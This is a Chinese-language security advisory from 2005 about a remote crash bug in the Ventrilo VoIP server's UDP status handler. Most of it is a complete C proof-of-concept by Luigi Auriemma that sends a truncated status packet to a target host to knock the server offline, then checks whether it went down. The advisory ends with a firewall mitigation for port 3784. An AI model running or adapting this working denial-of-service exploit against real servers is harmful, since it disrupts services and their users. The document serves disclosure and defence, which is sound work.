Ventrilo服务器崩溃漏洞
来源:岁月联盟
时间:2005-08-31
更新日期:2005-08-26
受影响系统:
Ventrilo Ventrilo 2.1.2之后2.3.0之前版本
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 14644
Ventrilo是广泛使用的VoIP软件,还可用于在线游戏。
除了用于接受客户端的TCP端口外,Ventrilo服务器还绑定了相同的UDP端口用于处理用户发送的状态请求。控制状态查询的代码中存在漏洞,如果所接收的报文中数据数量少于请求首部所指定的数量,就会导致服务器中断。
例如,正常状态查询的状态首部应包含有16个字节的数据,但如果没有包含数据的话就可以利用这个漏洞。
Windows server的日志文件会显示以下消息:
ERROR: ServerLoop exception detected. Aborting.
<*来源:Luigi Auriemma (aluigi@pivx.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112483407515020&w=2
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有安全性,仅供安全研究与教学之用。使用者风险自负!
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "ventrilo_udp.h"
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
#define VER "0.1"
#define PORT 3784
#define MAXPCK 32
#define MAXPCKSZ 492
#define TIMEOUT 2
#define RETRY 2
int ventrilo_get_status(int sd, u_short cmd, u_char *pass, int bug);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);
struct sockaddr_in peer;
int main(int argc, char *argv[]) {
int sd;
u_short port = PORT;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("/n"
"Ventrilo <= 2.3.0 server crash "VER"/n"
"by Luigi Auriemma/n"
"e-mail: aluigi@autistici.org/n"
"web: http://aluigi.altervista.org/n"
"/n", stdout);
if(argc < 2) {
printf("/n"
"Usage: %s <host> [port(%hu)]/n"
"/n", argv[0], port);
exit(1);
}
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu/n",
inet_ntoa(peer.sin_addr), port);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("/n- check server:/n", stdout);
if(ventrilo_get_status(sd, 1, "", 0) < 0) {
fputs("/nError: no reply received, probably the server is not online/n/n", stdout);
exit(1);
}
sleep(ONESEC);
fputs("/n- send BOOM packet:/n", stdout);
ventrilo_get_status(sd, 1, "", 1);
sleep(ONESEC);
fputs("/n- check server:/n", stdout);
if(ventrilo_get_status(sd, 1, "", 0) < 0) {
fputs("/nServer IS vulnerable!!!/n/n", stdout);
} else {
fputs("/nServer doesn’t seem vulnerable/n/n", stdout);
}
close(sd);
return(0);
}
int ventrilo_get_status(int sd, u_short cmd, u_char *pass, int bug) {
ventrilo_udp_head *stat;
int i,
len,
totlen,
retry;
u_short id,
crc;
u_char buff[20 + MAXPCKSZ],
full[MAXPCKSZ * MAXPCK],
*data;
stat = (ventrilo_udp_head *)buff;
data = buff + 20;
strncpy(data, pass, 16);
stat->zero = 0;
stat->cmd = cmd;
stat->id = id = time(NULL);
stat->totlen = 16;
stat->len = 16;
stat->totpck = 1;
stat->pck = 0;
stat->crc = ventrilo_udp_crc(data, 16);
stat->datakey = ventrilo_udp_data_enc(data, 16);
ventrilo_udp_head_enc(buff);
for(retry = RETRY; retry; retry--) {
sendto(sd, buff,
20 + (bug ? 0 : 16), // BUG exploited here
0, (struct sockaddr *)&peer, sizeof(peer));
if(!timeout(sd)) break;
}
if(!retry) return(-1);
i = 0;
totlen = 0;
memset(full, ’ ’, sizeof(full)); // in case of packet loss
for(;;) {
len = recvfrom(sd, buff, sizeof(buff), 0, NULL, NULL);
ventrilo_udp_head_dec(buff);
if(stat->id != id) continue;
if((len < 20) ||
(stat->totpck < stat->pck) ||
(stat->totpck > MAXPCK) ||
(stat->len > MAXPCKSZ)) {
fputs("/nError: wrong or incomplete reply received/n", stdout);
return(0);
}
len = stat->len;
totlen += len;
if(totlen > sizeof(full)) break;
ventrilo_udp_data_dec(data, len, stat->datakey);
memcpy(full + (stat->pck * MAXPCKSZ), data, len);
if(++i == stat->totpck) break;
if(totlen == stat->totlen) break;
if(timeout(sd) < 0) break;
}
crc = ventrilo_udp_crc(full, totlen);
if(ventrilo_udp_crc(full, totlen) != stat->crc) {
printf("- wrong checksum: mine is %04x while should be %04x/n/n", crc, stat->crc);
}
fwrite(full, totlen, 1, stdout);
return(0);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("/nError: Unable to resolv hostname (%s)/n", host);
exit(1);
} else host_ip = *(u_int *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("/nError");
exit(1);
}
#endif
建议:
--------------------------------------------------------------------------------
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 在防火墙设置过滤,拒绝状态服务所绑定端口(默认为3784)的UDP报文。
厂商补丁:
Ventrilo
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.ventrilo.com/